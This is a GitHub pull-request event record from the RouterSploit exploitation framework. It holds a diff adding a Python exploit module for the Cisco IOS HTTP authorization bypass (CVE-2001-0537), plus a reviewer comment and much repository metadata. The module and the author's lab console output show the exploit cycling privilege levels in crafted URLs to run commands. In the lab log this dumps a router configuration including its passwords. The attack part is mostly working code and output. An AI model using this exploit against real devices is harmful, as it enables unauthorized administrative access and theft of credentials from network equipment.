{"action":"created","comment":{"url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments/111739812","pull_request_review_id":33000427,"id":111739812,"diff_hunk":"@@ -0,0 +1,59 @@\n+from routersploit import (\n+    exploits,\n+    print_success,\n+    print_error,\n+    print_info,\n+    http_request,\n+    validators,\n+)\n+\n+\n+class Exploit(exploits.Exploit):\n+    \"\"\"\n+    This exploit targets a vulnerability in the Cisco IOS HTTP Server.\n+    By sending a GET request for the url  \"http://ip_address/level/{num}/exec/..\",\n+    it is possible to bypass authentication and execute any command.\n+    Example: http://10.0.0.1/level/99/exec/show/startup/config\n+    \"\"\"\n+    __info__ = {\n+        'name': 'Cisco IOS HTTP Unauthorized Administrative Access',\n+        'description': 'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '\n+                       'to bypass authentication and execute arbitrary commands, '\n+                       'when local authorization is being used, by specifying a high access level in the URL.',\n+        'authors': [\n+            'Author', 'Renos Stoikos rstoikos[at]gmail.com'  # routesploit module\n+        ],\n+        'references': [\n+            'http://www.cvedetails.com/cve/cve-2001-0537',\n+        ],\n+        'devices': [\n+            ' IOS 11.3 -> 12.2 are reportedly vulnerable.',\n+        ],\n+    }\n+\n+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address\n+    port = exploits.Option(80, 'Target port')  # default port\n+    show_command = exploits.Option('show startup-config', 'Command to be executed e.g show startup-config')\n+\n+    def check(self):\n+        for num in range(16, 100):\n+            url = \"{}:{}/level/{}/exec/-/{}\".format(self.target, self.port, num, self.show_command)\n+            response = http_request(method=\"GET\", url=url)\n+            if response.status_code == 200:\n+                return True  # target is vulnerable\n+            elif response is None:\n+                return False  # target is not vulnerable","path":"routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py","position":45,"original_position":45,"commit_id":"0a300d270c90fefd5e97ba989b5e0582e7f88a47","original_commit_id":"0a300d270c90fefd5e97ba989b5e0582e7f88a47","user":{"login":"lucyoa","id":5042653,"avatar_url":"https://avatars2.githubusercontent.com/u/5042653?v=3","gravatar_id":"","url":"https://api.github.com/users/lucyoa","html_url":"https://github.com/lucyoa","followers_url":"https://api.github.com/users/lucyoa/followers","following_url":"https://api.github.com/users/lucyoa/following{/other_user}","gists_url":"https://api.github.com/users/lucyoa/gists{/gist_id}","starred_url":"https://api.github.com/users/lucyoa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lucyoa/subscriptions","organizations_url":"https://api.github.com/users/lucyoa/orgs","repos_url":"https://api.github.com/users/lucyoa/repos","events_url":"https://api.github.com/users/lucyoa/events{/privacy}","received_events_url":"https://api.github.com/users/lucyoa/received_events","type":"User","site_admin":false},"body":"It can be removed:\r\n```python\r\nelif response is None:\r\n     return False\r\n```","created_at":"2017-04-17T13:13:55Z","updated_at":"2017-04-17T13:21:58Z","html_url":"https://github.com/reverse-shell/routersploit/pull/232#discussion_r111739812","pull_request_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232","_links":{"self":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments/111739812"},"html":{"href":"https://github.com/reverse-shell/routersploit/pull/232#discussion_r111739812"},"pull_request":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232"}}},"pull_request":{"url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232","id":116021220,"html_url":"https://github.com/reverse-shell/routersploit/pull/232","diff_url":"https://github.com/reverse-shell/routersploit/pull/232.diff","patch_url":"https://github.com/reverse-shell/routersploit/pull/232.patch","issue_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/232","number":232,"state":"open","locked":false,"title":"Cisco http ios authorization bypass","user":{"login":"rstoikos","id":22235760,"avatar_url":"https://avatars2.githubusercontent.com/u/22235760?v=3","gravatar_id":"","url":"https://api.github.com/users/rstoikos","html_url":"https://github.com/rstoikos","followers_url":"https://api.github.com/users/rstoikos/followers","following_url":"https://api.github.com/users/rstoikos/following{/other_user}","gists_url":"https://api.github.com/users/rstoikos/gists{/gist_id}","starred_url":"https://api.github.com/users/rstoikos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rstoikos/subscriptions","organizations_url":"https://api.github.com/users/rstoikos/orgs","repos_url":"https://api.github.com/users/rstoikos/repos","events_url":"https://api.github.com/users/rstoikos/events{/privacy}","received_events_url":"https://api.github.com/users/rstoikos/received_events","type":"User","site_admin":false},"body":"Hello i added the old but classic exploit for the Cisco http ios authorization bug.\r\n[http://www.cvedetails.com/cve/cve-2001-0537](url)\r\nThis exploit targets a special URL if http server is enabled in cisco router. If it is successful any command can be executed.\r\ne.g http://10.0.0.1/level/99/exec/-/show/startup/config\r\n\r\nBelow is the output from my test in my home lab. A simple for loop is used to try\r\naccess levels from 16-99, when successful the command is executed and result is printed in console.\r\nPlease note i am beginner in python and github and i tried to stick on your style and template for this exploit.\r\n```\r\nrsf > use exploits/cisco/cisco_ios_http_authorization_bypass\r\nrsf (Cisco IOS HTTP Unauthorized Administrative Access) > set target 10.0.0.1\r\n[+] {'target': '10.0.0.1'}\r\nrsf (Cisco IOS HTTP Unauthorized Administrative Access) > show options\r\n\r\nTarget options:\r\n\r\n   Name       Current settings     Description                                \r\n   ----       ----------------     -----------                                \r\n   target     http://10.0.0.1      Target address e.g. http://192.168.1.1     \r\n   port       80                   Target port                                \r\n\r\n\r\nModule options:\r\n\r\n   Name             Current settings        Description                                        \r\n   ----             ----------------        -----------                                        \r\n   show_command     show startup-config     Command to be executed e.g show startup-config     \r\n\r\n\r\nrsf (Cisco IOS HTTP Unauthorized Administrative Access) > check\r\n**[+] Target is vulnerable**\r\nrsf (Cisco IOS HTTP Unauthorized Administrative Access) > run\r\n[*] Running module...\r\n[-] Exploit failed - could not execute command for level 16\r\n[+] **Exploit success! - executing command**\r\n\r\n<HTML><HEAD><TITLE>R1 /level/17/exec/-/show startup-config</TITLE></HEAD>\r\n<BODY><H1>R1</H1><PRE><HR>\r\n<FORM METHOD=POST ACTION=\"/level/17/exec/-/show startup-config\">\r\n<DT><INPUT TYPE=SUBMIT VALUE=Command><INPUT TYPE=TEXT NAME=command SIZE=60 VALUE=\"\">\r\n<INPUT TYPE=HIDDEN NAME=command_url VALUE=\"/level/17/exec/-\">\r\n<H4>Output</H4><H5>Command base-URL was: /level/17/exec/-\r\n**Complete URL was: /level/17/exec/-/show startup-config** \r\nCommand was:  show startup-config </H5><PRE><HR><DL>\r\nUsing 677 out of 127992 bytes\r\n!\r\nversion 12.0\r\nservice timestamps debug uptime\r\nservice timestamps log uptime\r\nno service password-encryption\r\n!\r\nhostname R1\r\n!\r\nenable password cisco\r\n!\r\n!\r\n!\r\n!\r\n!\r\nmemory-size iomem 15\r\nip subnet-zero\r\nip domain-name lab.local\r\n!\r\n!\r\n!\r\n!\r\nprocess-max-time 200\r\n!\r\ninterface FastEthernet0/0\r\n ip address 10.0.0.1 255.255.255.0\r\n no ip directed-broadcast\r\n!\r\ninterface FastEthernet0/1\r\n no ip address\r\n no ip directed-broadcast\r\n shutdown\r\n!\r\nip classless\r\nip http server\r\n!\r\n!\r\nline con 0\r\n exec-timeout 0 0\r\n privilege level 15\r\n logging synchronous\r\n transport input none\r\nline aux 0\r\n exec-timeout 0 0\r\n privilege level 15\r\n logging synchronous\r\nline vty 0 4\r\n password cisco\r\n login\r\n!\r\n!\r\nno scheduler allocate\r\nend\r\n</DL><HR><PRE>command completed.\r\n</FORM><HR>\r\n</PRE></BODY></HTML>\r\n\r\n\r\nrsf (Cisco IOS HTTP Unauthorized Administrative Access) > \r\n```","created_at":"2017-04-15T10:20:42Z","updated_at":"2017-04-17T13:21:58Z","closed_at":null,"merged_at":null,"merge_commit_sha":"10415ad048b61a479a7cb97bc9cac87694e0a849","assignee":null,"assignees":[],"milestone":null,"commits_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232/commits","review_comments_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232/comments","review_comment_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments{/number}","comments_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/232/comments","statuses_url":"https://api.github.com/repos/reverse-shell/routersploit/statuses/0a300d270c90fefd5e97ba989b5e0582e7f88a47","head":{"label":"rstoikos:master","ref":"master","sha":"0a300d270c90fefd5e97ba989b5e0582e7f88a47","user":{"login":"rstoikos","id":22235760,"avatar_url":"https://avatars2.githubusercontent.com/u/22235760?v=3","gravatar_id":"","url":"https://api.github.com/users/rstoikos","html_url":"https://github.com/rstoikos","followers_url":"https://api.github.com/users/rstoikos/followers","following_url":"https://api.github.com/users/rstoikos/following{/other_user}","gists_url":"https://api.github.com/users/rstoikos/gists{/gist_id}","starred_url":"https://api.github.com/users/rstoikos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rstoikos/subscriptions","organizations_url":"https://api.github.com/users/rstoikos/orgs","repos_url":"https://api.github.com/users/rstoikos/repos","events_url":"https://api.github.com/users/rstoikos/events{/privacy}","received_events_url":"https://api.github.com/users/rstoikos/received_events","type":"User","site_admin":false},"repo":{"id":88335378,"name":"routersploit","full_name":"rstoikos/routersploit","owner":{"login":"rstoikos","id":22235760,"avatar_url":"https://avatars2.githubusercontent.com/u/22235760?v=3","gravatar_id":"","url":"https://api.github.com/users/rstoikos","html_url":"https://github.com/rstoikos","followers_url":"https://api.github.com/users/rstoikos/followers","following_url":"https://api.github.com/users/rstoikos/following{/other_user}","gists_url":"https://api.github.com/users/rstoikos/gists{/gist_id}","starred_url":"https://api.github.com/users/rstoikos/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rstoikos/subscriptions","organizations_url":"https://api.github.com/users/rstoikos/orgs","repos_url":"https://api.github.com/users/rstoikos/repos","events_url":"https://api.github.com/users/rstoikos/events{/privacy}","received_events_url":"https://api.github.com/users/rstoikos/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/rstoikos/routersploit","description":"The Router Exploitation Framework","fork":true,"url":"https://api.github.com/repos/rstoikos/routersploit","forks_url":"https://api.github.com/repos/rstoikos/routersploit/forks","keys_url":"https://api.github.com/repos/rstoikos/routersploit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rstoikos/routersploit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rstoikos/routersploit/teams","hooks_url":"https://api.github.com/repos/rstoikos/routersploit/hooks","issue_events_url":"https://api.github.com/repos/rstoikos/routersploit/issues/events{/number}","events_url":"https://api.github.com/repos/rstoikos/routersploit/events","assignees_url":"https://api.github.com/repos/rstoikos/routersploit/assignees{/user}","branches_url":"https://api.github.com/repos/rstoikos/routersploit/branches{/branch}","tags_url":"https://api.github.com/repos/rstoikos/routersploit/tags","blobs_url":"https://api.github.com/repos/rstoikos/routersploit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rstoikos/routersploit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rstoikos/routersploit/git/refs{/sha}","trees_url":"https://api.github.com/repos/rstoikos/routersploit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rstoikos/routersploit/statuses/{sha}","languages_url":"https://api.github.com/repos/rstoikos/routersploit/languages","stargazers_url":"https://api.github.com/repos/rstoikos/routersploit/stargazers","contributors_url":"https://api.github.com/repos/rstoikos/routersploit/contributors","subscribers_url":"https://api.github.com/repos/rstoikos/routersploit/subscribers","subscription_url":"https://api.github.com/repos/rstoikos/routersploit/subscription","commits_url":"https://api.github.com/repos/rstoikos/routersploit/commits{/sha}","git_commits_url":"https://api.github.com/repos/rstoikos/routersploit/git/commits{/sha}","comments_url":"https://api.github.com/repos/rstoikos/routersploit/comments{/number}","issue_comment_url":"https://api.github.com/repos/rstoikos/routersploit/issues/comments{/number}","contents_url":"https://api.github.com/repos/rstoikos/routersploit/contents/{+path}","compare_url":"https://api.github.com/repos/rstoikos/routersploit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rstoikos/routersploit/merges","archive_url":"https://api.github.com/repos/rstoikos/routersploit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rstoikos/routersploit/downloads","issues_url":"https://api.github.com/repos/rstoikos/routersploit/issues{/number}","pulls_url":"https://api.github.com/repos/rstoikos/routersploit/pulls{/number}","milestones_url":"https://api.github.com/repos/rstoikos/routersploit/milestones{/number}","notifications_url":"https://api.github.com/repos/rstoikos/routersploit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rstoikos/routersploit/labels{/name}","releases_url":"https://api.github.com/repos/rstoikos/routersploit/releases{/id}","deployments_url":"https://api.github.com/repos/rstoikos/routersploit/deployments","created_at":"2017-04-15T08:49:09Z","updated_at":"2017-04-15T08:49:11Z","pushed_at":"2017-04-15T12:12:36Z","git_url":"git://github.com/rstoikos/routersploit.git","ssh_url":"git@github.com:rstoikos/routersploit.git","clone_url":"https://github.com/rstoikos/routersploit.git","svn_url":"https://github.com/rstoikos/routersploit","homepage":null,"size":774,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"reverse-shell:master","ref":"master","sha":"7cba45362097cd6e6f45d979e787e9ec22e57a3f","user":{"login":"reverse-shell","id":16528770,"avatar_url":"https://avatars2.githubusercontent.com/u/16528770?v=3","gravatar_id":"","url":"https://api.github.com/users/reverse-shell","html_url":"https://github.com/reverse-shell","followers_url":"https://api.github.com/users/reverse-shell/followers","following_url":"https://api.github.com/users/reverse-shell/following{/other_user}","gists_url":"https://api.github.com/users/reverse-shell/gists{/gist_id}","starred_url":"https://api.github.com/users/reverse-shell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/reverse-shell/subscriptions","organizations_url":"https://api.github.com/users/reverse-shell/orgs","repos_url":"https://api.github.com/users/reverse-shell/repos","events_url":"https://api.github.com/users/reverse-shell/events{/privacy}","received_events_url":"https://api.github.com/users/reverse-shell/received_events","type":"Organization","site_admin":false},"repo":{"id":55058317,"name":"routersploit","full_name":"reverse-shell/routersploit","owner":{"login":"reverse-shell","id":16528770,"avatar_url":"https://avatars2.githubusercontent.com/u/16528770?v=3","gravatar_id":"","url":"https://api.github.com/users/reverse-shell","html_url":"https://github.com/reverse-shell","followers_url":"https://api.github.com/users/reverse-shell/followers","following_url":"https://api.github.com/users/reverse-shell/following{/other_user}","gists_url":"https://api.github.com/users/reverse-shell/gists{/gist_id}","starred_url":"https://api.github.com/users/reverse-shell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/reverse-shell/subscriptions","organizations_url":"https://api.github.com/users/reverse-shell/orgs","repos_url":"https://api.github.com/users/reverse-shell/repos","events_url":"https://api.github.com/users/reverse-shell/events{/privacy}","received_events_url":"https://api.github.com/users/reverse-shell/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/reverse-shell/routersploit","description":"The Router Exploitation Framework","fork":false,"url":"https://api.github.com/repos/reverse-shell/routersploit","forks_url":"https://api.github.com/repos/reverse-shell/routersploit/forks","keys_url":"https://api.github.com/repos/reverse-shell/routersploit/keys{/key_id}","collaborators_url":"https://api.github.com/repos/reverse-shell/routersploit/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/reverse-shell/routersploit/teams","hooks_url":"https://api.github.com/repos/reverse-shell/routersploit/hooks","issue_events_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/events{/number}","events_url":"https://api.github.com/repos/reverse-shell/routersploit/events","assignees_url":"https://api.github.com/repos/reverse-shell/routersploit/assignees{/user}","branches_url":"https://api.github.com/repos/reverse-shell/routersploit/branches{/branch}","tags_url":"https://api.github.com/repos/reverse-shell/routersploit/tags","blobs_url":"https://api.github.com/repos/reverse-shell/routersploit/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/reverse-shell/routersploit/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/reverse-shell/routersploit/git/refs{/sha}","trees_url":"https://api.github.com/repos/reverse-shell/routersploit/git/trees{/sha}","statuses_url":"https://api.github.com/repos/reverse-shell/routersploit/statuses/{sha}","languages_url":"https://api.github.com/repos/reverse-shell/routersploit/languages","stargazers_url":"https://api.github.com/repos/reverse-shell/routersploit/stargazers","contributors_url":"https://api.github.com/repos/reverse-shell/routersploit/contributors","subscribers_url":"https://api.github.com/repos/reverse-shell/routersploit/subscribers","subscription_url":"https://api.github.com/repos/reverse-shell/routersploit/subscription","commits_url":"https://api.github.com/repos/reverse-shell/routersploit/commits{/sha}","git_commits_url":"https://api.github.com/repos/reverse-shell/routersploit/git/commits{/sha}","comments_url":"https://api.github.com/repos/reverse-shell/routersploit/comments{/number}","issue_comment_url":"https://api.github.com/repos/reverse-shell/routersploit/issues/comments{/number}","contents_url":"https://api.github.com/repos/reverse-shell/routersploit/contents/{+path}","compare_url":"https://api.github.com/repos/reverse-shell/routersploit/compare/{base}...{head}","merges_url":"https://api.github.com/repos/reverse-shell/routersploit/merges","archive_url":"https://api.github.com/repos/reverse-shell/routersploit/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/reverse-shell/routersploit/downloads","issues_url":"https://api.github.com/repos/reverse-shell/routersploit/issues{/number}","pulls_url":"https://api.github.com/repos/reverse-shell/routersploit/pulls{/number}","milestones_url":"https://api.github.com/repos/reverse-shell/routersploit/milestones{/number}","notifications_url":"https://api.github.com/repos/reverse-shell/routersploit/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/reverse-shell/routersploit/labels{/name}","releases_url":"https://api.github.com/repos/reverse-shell/routersploit/releases{/id}","deployments_url":"https://api.github.com/repos/reverse-shell/routersploit/deployments","created_at":"2016-03-30T11:43:12Z","updated_at":"2017-04-17T06:14:48Z","pushed_at":"2017-04-17T12:35:24Z","git_url":"git://github.com/reverse-shell/routersploit.git","ssh_url":"git@github.com:reverse-shell/routersploit.git","clone_url":"https://github.com/reverse-shell/routersploit.git","svn_url":"https://github.com/reverse-shell/routersploit","homepage":null,"size":762,"stargazers_count":4146,"watchers_count":4146,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":524,"mirror_url":null,"open_issues_count":34,"forks":524,"open_issues":34,"watchers":4146,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232"},"html":{"href":"https://github.com/reverse-shell/routersploit/pull/232"},"issue":{"href":"https://api.github.com/repos/reverse-shell/routersploit/issues/232"},"comments":{"href":"https://api.github.com/repos/reverse-shell/routersploit/issues/232/comments"},"review_comments":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232/comments"},"review_comment":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/reverse-shell/routersploit/pulls/232/commits"},"statuses":{"href":"https://api.github.com/repos/reverse-shell/routersploit/statuses/0a300d270c90fefd5e97ba989b5e0582e7f88a47"}}}}
{"actor":{"display_login":"lucyoa"}}